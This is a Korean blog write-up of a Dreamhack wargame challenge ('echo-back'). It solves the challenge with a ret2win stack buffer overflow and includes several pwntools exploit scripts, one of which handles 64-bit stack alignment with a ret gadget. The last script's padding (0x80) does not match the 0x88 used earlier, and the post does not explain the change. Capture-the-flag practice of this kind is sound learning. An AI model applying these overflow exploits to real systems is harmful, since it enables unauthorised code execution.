https://dreamhack.io/wargame/challenges/2661
로그인 | Dreamhack
페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!
dreamhack.io


먼저 주어진 실행파일의 보호 기법을 확인한다.
No canary → 버퍼가 넘쳐도 감지하는게 없어서 BOF 가능
No PIE → 코드 영역 주소 고정
IDA로 DISASMBLE 한다.

main 함수에서 sub_4012D0 함수가 실행된다는 것을 알 수 있다.

sub_4012D0 함수를 보면 136 크기의 v3에 0x200 크기의 인풋을 받으므로 버퍼보다 큰 입력을 받을 수 있다.

그리고 다른 함수들을 살펴보면 sub_401340가 flag를 반환하는 함수임을 알 수 있다. 따라서 return address에 0x401340을 덮어씌워줄 것이다. flag.txt 파일을 열어서 출력하는 코드이므로 flag.txt를 생성하고 임의로 flag를 입력했다.
from pwn import *
p = process('./echo-back')
payload = b'a' * 0x88
payload += p64(0x401340)
p.sendafter(b'Input:\\n', payload)
p.interactive()
IDA에서 확인한 버퍼 크기인 136(0x88)만큼 쓰레기 값을 채우고 0x401340을 타겟 주소로

페이로드를 작성하고 실행하면 위와 같이 뜬다.
from pwn import *
p = process('./echo-back')
pause()
payload = b'a' * 0x88
payload += p64(0x401340)
p.sendafter(b'Input:\\n', payload)
p.interactive()
중간에 pause()를 걸고 gdb를 통해 확인해본다.

0x40136f에서 movaps 명령어의 16바이트로 정렬(alignment) 조건이 만족되지 않았기 때문임을 알 수 있다.
64비트 환경에서 스택의 기본 단위는 8바이트이고, 보통 16바이트로 정렬이 맞춰져 있는데 함수 호출 시 주소를 스택에 넣고 빼면서 RSP가 8바이트 이동하면서 정렬이 어긋난다.
첫 번째 해결 방법은 sub_401340 함수의 어셈블리를 보면 push rbx 부분에서 8바이트가 추가되어 정렬이 어긋남을 알 수 있으므로 해당 명령을 건너뛰고 다음 명령인 401345로 타겟을 지정한다.

from pwn import *
p = process('./echo-back')
# p = remote('host3.dreamhack.games', 18945)
payload = b'a' * 0x88
payload += p64(0x401345)
p.sendafter(b'Input:\\n', payload)
p.interactive()

최종적으로 수정하고 실행하면 flag를 얻을 수 있다.
두 번째 방법은 아무 의미 없는 ret 주소를 페이로드 중간에 삽입하여 ret가 실행되도록 한다. ret가 실행되면 스택에서 8바이트를 pop하므로 rsp가 8바이트 증가하여 16의 배수가 맞춰진다.

ROPgadget을 사용하여 ret 주소만 검색하여 0x40101a를 얻었다.
from pwn import *
p = process('./echo-back')
# p = remote('host3.dreamhack.games', 18945)
payload = b'a' * 0x80
payload += p64(0x40101a)
payload += p64(0x401345)
p.sendafter(b'Input:\\n', payload)
p.interactive()

이를 payload 중간에 추가하고 실행하면 flag를 얻을 수 있다.
'Security > Dreamhack' 카테고리의 다른 글
| [Dreamhack] baby-bof (0) | 2026.02.12 |
|---|